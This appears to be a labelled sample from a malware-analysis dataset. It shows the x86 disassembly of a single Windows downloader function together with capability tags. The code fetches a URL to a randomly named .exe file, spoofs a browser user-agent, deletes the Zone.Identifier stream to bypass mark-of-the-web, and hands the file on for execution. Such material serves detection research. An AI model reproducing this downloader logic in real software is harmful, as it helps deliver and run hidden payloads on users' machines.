Function at 0x4010b0
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x740
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
mov byte [ebp - 0x311], 0
push 0x104
lea ecx, [ebp - 0x310]
push ecx
push 0x402134
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x310]
push edx
push 0x402144
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_83.0.4103.116_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
je 0x401276
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x534]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0
je 0x401269
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xffffffff
je 0x40125c
lea ecx, [ebp - 0x530]
push ecx
push 0x103
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401208
cmp dword [ebp - 0x530], 0
je 0x401208
push 0
lea ecx, [ebp - 0x52c]
push ecx
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x31c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4011b5
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x740]
push eax
push 0x402248
lea ecx, [ebp - 0x528]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x528]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x740]
push eax
call section..text
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40125c
mov byte [ebp - 0x311], 1
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x534]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x311]
test edx, edx
jne 0x40135a
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x310]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x740]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push 0
push 0
lea edx, [ebp - 0x740]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x40135a
lea ecx, [ebp - 0x740]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x528]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x740]
push ecx
call section..text
add esp, 4
mov esp, ebp
pop ebp
ret